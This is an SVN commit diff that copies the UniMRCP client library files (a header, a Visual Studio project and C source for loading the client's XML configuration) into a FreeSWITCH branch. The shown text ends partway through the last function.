Copied: freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-client/include (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/libunimrcp-client/include)

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-client/include/unimrcp_client.h

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-client/include/unimrcp_client.h (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/libunimrcp-client/include/unimrcp_client.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-client/include/unimrcp_client.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-client/include/unimrcp_client.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __UNIMRCP_CLIENT_H__
+#define __UNIMRCP_CLIENT_H__
+
+/**
+ * @file unimrcp_client.h
+ * @brief UniMRCP Client
+ */ 
+
+#include "mrcp_client.h"
+
+APT_BEGIN_EXTERN_C
+
+/**
+ * Create UniMRCP client.
+ * @param dir_layout the dir layout structure
+ */
+MRCP_DECLARE(mrcp_client_t*) unimrcp_client_create(apt_dir_layout_t *dir_layout);
+
+
+APT_END_EXTERN_C
+
+#endif /*__UNIMRCP_CLIENT_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-client/libunimrcpclient.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-client/libunimrcpclient.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/libunimrcp-client/libunimrcpclient.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-client/libunimrcpclient.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-client/libunimrcpclient.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,155 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="libunimrcpclient"
+	ProjectGUID="{EE157390-1E85-416C-946E-620E32C9AD33}"
+	RootNamespace="libunimrcpclient"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\unimrcpclient.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(ProjectRootDir)modules\mrcp-sofiasip\include&quot;;&quot;$(ProjectRootDir)modules\mrcp-unirtsp\include&quot;"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\unimrcpclient.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(ProjectRootDir)modules\mrcp-sofiasip\include&quot;;&quot;$(ProjectRootDir)modules\mrcp-unirtsp\include&quot;"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath="..\..\build\uni_version.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\unimrcp_client.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			>
+			<File
+				RelativePath=".\src\unimrcp_client.c"
+				>
+			</File>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-client/src (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/libunimrcp-client/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-client/src/unimrcp_client.c

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-client/src/unimrcp_client.c (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/libunimrcp-client/src/unimrcp_client.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-client/src/unimrcp_client.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/libunimrcp-client/src/unimrcp_client.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,597 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <apr_xml.h>
+#include "unimrcp_client.h"
+#include "uni_version.h"
+#include "mrcp_default_factory.h"
+#include "mpf_engine.h"
+#include "mpf_codec_manager.h"
+#include "mpf_rtp_termination_factory.h"
+#include "mrcp_sofiasip_client_agent.h"
+#include "mrcp_unirtsp_client_agent.h"
+#include "mrcp_client_connection.h"
+#include "apt_net.h"
+#include "apt_log.h"
+
+#define CONF_FILE_NAME            "unimrcpclient.xml"
+#define DEFAULT_CONF_DIR_PATH     "../conf"
+
+#define DEFAULT_LOCAL_IP_ADDRESS  "127.0.0.1"
+#define DEFAULT_REMOTE_IP_ADDRESS "127.0.0.1"
+#define DEFAULT_SIP_LOCAL_PORT    8062
+#define DEFAULT_SIP_REMOTE_PORT   8060
+#define DEFAULT_RTP_PORT_MIN      4000
+#define DEFAULT_RTP_PORT_MAX      5000
+
+#define DEFAULT_SOFIASIP_UA_NAME  "UniMRCP SofiaSIP"
+#define DEFAULT_SDP_ORIGIN        "UniMRCPClient"
+#define DEFAULT_RESOURCE_LOCATION "media"
+
+#define XML_FILE_BUFFER_LENGTH    2000
+
+static apr_xml_doc* unimrcp_client_config_parse(const char *path, apr_pool_t *pool);
+static apt_bool_t unimrcp_client_config_load(mrcp_client_t *client, const apr_xml_doc *doc, apr_pool_t *pool);
+
+/** Start UniMRCP client */
+MRCP_DECLARE(mrcp_client_t*) unimrcp_client_create(apt_dir_layout_t *dir_layout)
+{
+	apr_pool_t *pool;
+	apr_xml_doc *doc;
+	mrcp_resource_factory_t *resource_factory;
+	mpf_codec_manager_t *codec_manager;
+	mrcp_client_t *client;
+
+	if(!dir_layout) {
+		return NULL;
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"UniMRCP Client ["UNI_VERSION_STRING"]");
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"APR ["APR_VERSION_STRING"]");
+	client = mrcp_client_create(dir_layout);
+	if(!client) {
+		return NULL;
+	}
+	pool = mrcp_client_memory_pool_get(client);
+	if(!pool) {
+		return NULL;
+	}
+
+	resource_factory = mrcp_default_factory_create(pool);
+	if(resource_factory) {
+		mrcp_client_resource_factory_register(client,resource_factory);
+	}
+
+	codec_manager = mpf_engine_codec_manager_create(pool);
+	if(codec_manager) {
+		mrcp_client_codec_manager_register(client,codec_manager);
+	}
+
+	doc = unimrcp_client_config_parse(dir_layout->conf_dir_path,pool);
+	if(doc) {
+		unimrcp_client_config_load(client,doc,pool);
+	}
+
+	return client;
+}
+
+/** Parse config file */
+static apr_xml_doc* unimrcp_client_config_parse(const char *dir_path, apr_pool_t *pool)
+{
+	apr_xml_parser *parser = NULL;
+	apr_xml_doc *doc = NULL;
+	apr_file_t *fd = NULL;
+	apr_status_t rv;
+	const char *file_path;
+
+	if(!dir_path) {
+		dir_path = DEFAULT_CONF_DIR_PATH;
+	}
+	if(*dir_path == '\0') {
+		file_path = CONF_FILE_NAME;
+	}
+	else {
+		file_path = apr_psprintf(pool,"%s/%s",dir_path,CONF_FILE_NAME);
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Open Config File [%s]",file_path);
+	rv = apr_file_open(&fd,file_path,APR_READ|APR_BINARY,0,pool);
+	if(rv != APR_SUCCESS) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Open Config File [%s]",file_path);
+		return NULL;
+	}
+
+	rv = apr_xml_parse_file(pool,&parser,&doc,fd,XML_FILE_BUFFER_LENGTH);
+	if(rv != APR_SUCCESS) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Parse Config File [%s]",file_path);
+		return NULL;
+	}
+
+	apr_file_close(fd);
+	return doc;
+}
+
+static apt_bool_t param_name_value_get(const apr_xml_elem *elem, const apr_xml_attr **name, const apr_xml_attr **value)
+{
+	const apr_xml_attr *attr;
+	if(!name || !value) {
+		return FALSE;
+	}
+
+	*name = NULL;
+	*value = NULL;
+	for(attr = elem->attr; attr; attr = attr->next) {
+		if(strcasecmp(attr->name,"name") == 0) {
+			*name = attr;
+		}
+		else if(strcasecmp(attr->name,"value") == 0) {
+			*value = attr;
+		}
+	}
+	return (*name && *value) ? TRUE : FALSE;
+}
+
+static char* ip_addr_get(const char *value, apr_pool_t *pool)
+{
+	if(!value || strcasecmp(value,"auto") == 0) {
+		char *addr = DEFAULT_LOCAL_IP_ADDRESS;
+		apt_ip_get(&addr,pool);
+		return addr;
+	}
+	return apr_pstrdup(pool,value);
+}
+
+/** Load map of MRCP resource names */
+static apt_bool_t resource_map_load(apr_table_t *resource_map, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const apr_xml_attr *attr_name;
+	const apr_xml_attr *attr_value;
+	const apr_xml_elem *elem;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Resource Map");
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"param") == 0) {
+			if(param_name_value_get(elem,&attr_name,&attr_value) == TRUE) {
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Param %s:%s",attr_name->value,attr_value->value);
+				apr_table_set(resource_map,attr_name->value,attr_value->value);
+			}
+		}
+	}    
+	return TRUE;
+}
+
+/** Load SofiaSIP signaling agent */
+static mrcp_sig_agent_t* unimrcp_client_sofiasip_agent_load(mrcp_client_t *client, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const apr_xml_elem *elem;
+	mrcp_sofia_client_config_t *config = mrcp_sofiasip_client_config_alloc(pool);
+	config->local_ip = DEFAULT_LOCAL_IP_ADDRESS;
+	config->local_port = DEFAULT_SIP_LOCAL_PORT;
+	config->remote_ip = DEFAULT_REMOTE_IP_ADDRESS;
+	config->remote_port = DEFAULT_SIP_REMOTE_PORT;
+	config->ext_ip = NULL;
+	config->user_agent_name = DEFAULT_SOFIASIP_UA_NAME;
+	config->origin = DEFAULT_SDP_ORIGIN;
+
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading SofiaSIP Agent");
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"param") == 0) {
+			const apr_xml_attr *attr_name;
+			const apr_xml_attr *attr_value;
+			if(param_name_value_get(elem,&attr_name,&attr_value) == TRUE) {
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Param %s:%s",attr_name->value,attr_value->value);
+				if(strcasecmp(attr_name->value,"client-ip") == 0) {
+					config->local_ip = ip_addr_get(attr_value->value,pool);
+				}
+				else if(strcasecmp(attr_name->value,"client-ext-ip") == 0) {
+					config->ext_ip = ip_addr_get(attr_value->value,pool);
+				}
+				else if(strcasecmp(attr_name->value,"client-port") == 0) {
+					config->local_port = (apr_port_t)atol(attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"server-ip") == 0) {
+					config->remote_ip = ip_addr_get(attr_value->value,pool);
+				}
+				else if(strcasecmp(attr_name->value,"server-port") == 0) {
+					config->remote_port = (apr_port_t)atol(attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"server-username") == 0) {
+					config->remote_user_name = apr_pstrdup(pool,attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"force-destination") == 0) {
+					config->force_destination = atoi(attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"sip-transport") == 0) {
+					config->transport = apr_pstrdup(pool,attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"ua-name") == 0) {
+					config->user_agent_name = apr_pstrdup(pool,attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"sdp-origin") == 0) {
+					config->origin = apr_pstrdup(pool,attr_value->value);
+				}
+				else {
+					apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr_name->value);
+				}
+			}
+		}
+	}    
+	return mrcp_sofiasip_client_agent_create(config,pool);
+}
+
+/** Load UniRTSP signaling agent */
+static mrcp_sig_agent_t* unimrcp_client_rtsp_agent_load(mrcp_client_t *client, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const apr_xml_elem *elem;
+	rtsp_client_config_t *config = mrcp_unirtsp_client_config_alloc(pool);
+	config->origin = DEFAULT_SDP_ORIGIN;
+	config->resource_location = DEFAULT_RESOURCE_LOCATION;
+
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading UniRTSP Agent");
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"param") == 0) {
+			const apr_xml_attr *attr_name;
+			const apr_xml_attr *attr_value;
+			if(param_name_value_get(elem,&attr_name,&attr_value) == TRUE) {
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Param %s:%s",attr_name->value,attr_value->value);
+				if(strcasecmp(attr_name->value,"server-ip") == 0) {
+					config->server_ip = ip_addr_get(attr_value->value,pool);
+				}
+				else if(strcasecmp(attr_name->value,"server-port") == 0) {
+					config->server_port = (apr_port_t)atol(attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"resource-location") == 0) {
+					config->resource_location = apr_pstrdup(pool,attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"sdp-origin") == 0) {
+					config->origin = apr_pstrdup(pool,attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"max-connection-count") == 0) {
+					config->max_connection_count = atol(attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"force-destination") == 0) {
+					config->force_destination = atoi(attr_value->value);
+				}
+				else {
+					apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr_name->value);
+				}
+			}
+		}
+		else if(strcasecmp(elem->name,"resourcemap") == 0) {
+			resource_map_load(config->resource_map,elem,pool);
+		}
+	}    
+	return mrcp_unirtsp_client_agent_create(config,pool);
+}
+
+/** Load signaling agents */
+static apt_bool_t unimrcp_client_signaling_agents_load(mrcp_client_t *client, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const apr_xml_elem *elem;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Signaling Agents");
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"agent") == 0) {
+			mrcp_sig_agent_t *sig_agent = NULL;
+			const char *name = NULL;
+			const apr_xml_attr *attr;
+			for(attr = elem->attr; attr; attr = attr->next) {
+				if(strcasecmp(attr->name,"name") == 0) {
+					name = apr_pstrdup(pool,attr->value);
+				}
+				else if(strcasecmp(attr->name,"class") == 0) {
+					if(strcasecmp(attr->value,"SofiaSIP") == 0) {
+						sig_agent = unimrcp_client_sofiasip_agent_load(client,elem,pool);
+					}
+					else if(strcasecmp(attr->value,"UniRTSP") == 0) {
+						sig_agent = unimrcp_client_rtsp_agent_load(client,elem,pool);
+					}
+				}
+				else {
+					apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr->name);
+				}
+			}
+			if(sig_agent) {
+				mrcp_client_signaling_agent_register(client,sig_agent,name);
+			}
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Element <%s>",elem->name);
+		}
+	}    
+	return TRUE;
+}
+
+/** Load MRCPv2 connection agent */
+static mrcp_connection_agent_t* unimrcp_client_connection_agent_load(mrcp_client_t *client, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const apr_xml_elem *elem;
+	apr_size_t max_connection_count = 100;
+	apt_bool_t offer_new_connection = FALSE;
+
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading MRCPv2 Agent");
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"param") == 0) {
+			const apr_xml_attr *attr_name;
+			const apr_xml_attr *attr_value;
+			if(param_name_value_get(elem,&attr_name,&attr_value) == TRUE) {
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Param %s:%s",attr_name->value,attr_value->value);
+				if(strcasecmp(attr_name->value,"max-connection-count") == 0) {
+					max_connection_count = atol(attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"offer-new-connection") == 0) {
+					offer_new_connection = atoi(attr_value->value);
+				}
+				else {
+					apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr_name->value);
+				}
+			}
+		}
+	}    
+	return mrcp_client_connection_agent_create(max_connection_count,offer_new_connection,pool);
+}
+
+/** Load MRCPv2 conection agents */
+static apt_bool_t unimrcp_client_connection_agents_load(mrcp_client_t *client, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const apr_xml_elem *elem;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Connection Agents");
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"agent") == 0) {
+			mrcp_connection_agent_t *connection_agent;
+			const char *name = NULL;
+			const apr_xml_attr *attr;
+			for(attr = elem->attr; attr; attr = attr->next) {
+				if(strcasecmp(attr->name,"name") == 0) {
+					name = apr_pstrdup(pool,attr->value);
+				}
+				else {
+					apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr->name);
+				}
+			}
+			connection_agent = unimrcp_client_connection_agent_load(client,elem,pool);
+			if(connection_agent) {
+				mrcp_client_connection_agent_register(client,connection_agent,name);
+			}
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Element <%s>",elem->name);
+		}
+	}    
+	return TRUE;
+}
+
+/** Load RTP termination factory */
+static mpf_termination_factory_t* unimrcp_client_rtp_factory_load(mrcp_client_t *client, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const apr_xml_elem *elem;
+	char *rtp_ip = DEFAULT_LOCAL_IP_ADDRESS;
+	char *rtp_ext_ip = NULL;
+	mpf_rtp_config_t *rtp_config = mpf_rtp_config_create(pool);
+	rtp_config->rtp_port_min = DEFAULT_RTP_PORT_MIN;
+	rtp_config->rtp_port_max = DEFAULT_RTP_PORT_MAX;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading RTP Termination Factory");
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"param") == 0) {
+			const apr_xml_attr *attr_name;
+			const apr_xml_attr *attr_value;
+			if(param_name_value_get(elem,&attr_name,&attr_value) == TRUE) {
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Param %s:%s",attr_name->value,attr_value->value);
+				if(strcasecmp(attr_name->value,"rtp-ip") == 0) {
+					rtp_ip = ip_addr_get(attr_value->value,pool);
+				}
+				else if(strcasecmp(attr_name->value,"rtp-ext-ip") == 0) {
+					rtp_ext_ip = ip_addr_get(attr_value->value,pool);
+				}
+				else if(strcasecmp(attr_name->value,"rtp-port-min") == 0) {
+					rtp_config->rtp_port_min = (apr_port_t)atol(attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"rtp-port-max") == 0) {
+					rtp_config->rtp_port_max = (apr_port_t)atol(attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"playout-delay") == 0) {
+					rtp_config->jb_config.initial_playout_delay = atol(attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"min-playout-delay") == 0) {
+					rtp_config->jb_config.min_playout_delay = atol(attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"max-playout-delay") == 0) {
+					rtp_config->jb_config.max_playout_delay = atol(attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"codecs") == 0) {
+					const mpf_codec_manager_t *codec_manager = mrcp_client_codec_manager_get(client);
+					if(codec_manager) {
+						mpf_codec_manager_codec_list_load(codec_manager,&rtp_config->codec_list,attr_value->value,pool);
+					}
+				}
+				else if(strcasecmp(attr_name->value,"ptime") == 0) {
+					rtp_config->ptime = (apr_uint16_t)atol(attr_value->value);
+				}
+				else {
+					apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr_name->value);
+				}
+			}
+		}
+	}    
+	apt_string_set(&rtp_config->ip,rtp_ip);
+	if(rtp_ext_ip) {
+		apt_string_set(&rtp_config->ext_ip,rtp_ext_ip);
+	}
+	return mpf_rtp_termination_factory_create(rtp_config,pool);
+}
+
+/** Load media engines */
+static apt_bool_t unimrcp_client_media_engines_load(mrcp_client_t *client, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const apr_xml_elem *elem;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Media Engines");
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"engine") == 0) {
+			mpf_engine_t *media_engine;
+			const char *name = NULL;
+			const apr_xml_attr *attr;
+			for(attr = elem->attr; attr; attr = attr->next) {
+				if(strcasecmp(attr->name,"name") == 0) {
+					name = apr_pstrdup(pool,attr->value);
+				}
+				else {
+					apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr->name);
+				}
+			}
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Media Engine");
+			media_engine = mpf_engine_create(pool);
+			if(media_engine) {
+				mrcp_client_media_engine_register(client,media_engine,name);
+			}
+		}
+		else if(strcasecmp(elem->name,"rtp") == 0) {
+			mpf_termination_factory_t *rtp_factory;
+			const char *name = NULL;
+			const apr_xml_attr *attr;
+			for(attr = elem->attr; attr; attr = attr->next) {
+				if(strcasecmp(attr->name,"name") == 0) {
+					name = apr_pstrdup(pool,attr->value);
+				}
+				else {
+					apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr->name);
+				}
+			}
+			rtp_factory = unimrcp_client_rtp_factory_load(client,elem,pool);
+			if(rtp_factory) {
+				mrcp_client_rtp_factory_register(client,rtp_factory,name);
+			}
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Element <%s>",elem->name);
+		}
+	}    
+	return TRUE;
+}
+
+/** Load settings */
+static apt_bool_t unimrcp_client_settings_load(mrcp_client_t *client, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const apr_xml_elem *elem;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Settings");
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"signaling") == 0) {
+			unimrcp_client_signaling_agents_load(client,elem,pool);
+		}
+		else if(strcasecmp(elem->name,"connection") == 0) {
+			unimrcp_client_connection_agents_load(client,elem,pool);
+		}
+		else if(strcasecmp(elem->name,"media") == 0) {
+			unimrcp_client_media_engines_load(client,elem,pool);
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Element <%s>",elem->name);
+		}
+	}    
+	return TRUE;
+}
+
+/** Load profile */
+static apt_bool_t unimrcp_client_profile_load(mrcp_client_t *client, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const char *name = NULL;
+	mrcp_profile_t *profile;
+	mrcp_sig_agent_t *sig_agent = NULL;
+	mrcp_connection_agent_t *cnt_agent = NULL;
+	mpf_engine_t *media_engine = NULL;
+	mpf_termination_factory_t *rtp_factory = NULL;
+	const apr_xml_elem *elem;
+	const apr_xml_attr *attr;
+	for(attr = root->attr; attr; attr = attr->next) {
+		if(strcasecmp(attr->name,"name") == 0) {
+			name = apr_pstrdup(pool,attr->value);
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Profile [%s]",name);
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr->name);
+		}
+	}
+	if(!name) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Load Profile: no profile name specified");
+		return FALSE;
+	}
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"param") == 0) {
+			const apr_xml_attr *attr_name;
+			const apr_xml_attr *attr_value;
+			if(param_name_value_get(elem,&attr_name,&attr_value) == TRUE) {
+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Loading Profile %s [%s]",attr_name->value,attr_value->value);
+				if(strcasecmp(attr_name->value,"signaling-agent") == 0) {
+					sig_agent = mrcp_client_signaling_agent_get(client,attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"connection-agent") == 0) {
+					cnt_agent = mrcp_client_connection_agent_get(client,attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"media-engine") == 0) {
+					media_engine = mrcp_client_media_engine_get(client,attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"rtp-factory") == 0) {
+					rtp_factory = mrcp_client_rtp_factory_get(client,attr_value->value);
+				}
+				else {
+					apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr_name->value);
+				}
+			}
+		}
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create Profile [%s]",name);
+	profile = mrcp_client_profile_create(NULL,sig_agent,cnt_agent,media_engine,rtp_factory,pool);
+	return mrcp_client_profile_register(client,profile,name);
+}
+
+/** Load profiles */
+static apt_bool_t unimrcp_client_profiles_load(mrcp_client_t *client, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const apr_xml_elem *elem;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Profiles");
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"profile") == 0) {
+			unimrcp_client_profile_load(client,elem,pool);
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Element <%s>",elem->name);
+		}
+	}
+    return TRUE;
+}
+
+/** Load configuration (settings and profiles) */
+static apt_bool_t unimrcp_client_config_load(mrcp_client_t *client, const apr_xml_doc *doc, apr_pool_t *pool)
+{
+	const apr_xml_elem *elem;
+	const apr_xml_elem *root = doc->root;
+	if(!root || strcasecmp(root->name,"unimrcpclient") != 0) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Document");
+		return FALSE;
+	}
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"settings") == 0) {
+			unimrcp_client_settings_load(client,elem,pool);
+		}
+		else if(strcasecmp(elem->name,"profiles") == 0) {
+			unimrcp_client_profiles_load(client,elem,pool);
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Element <%s>",elem->name);
+		}
+	}
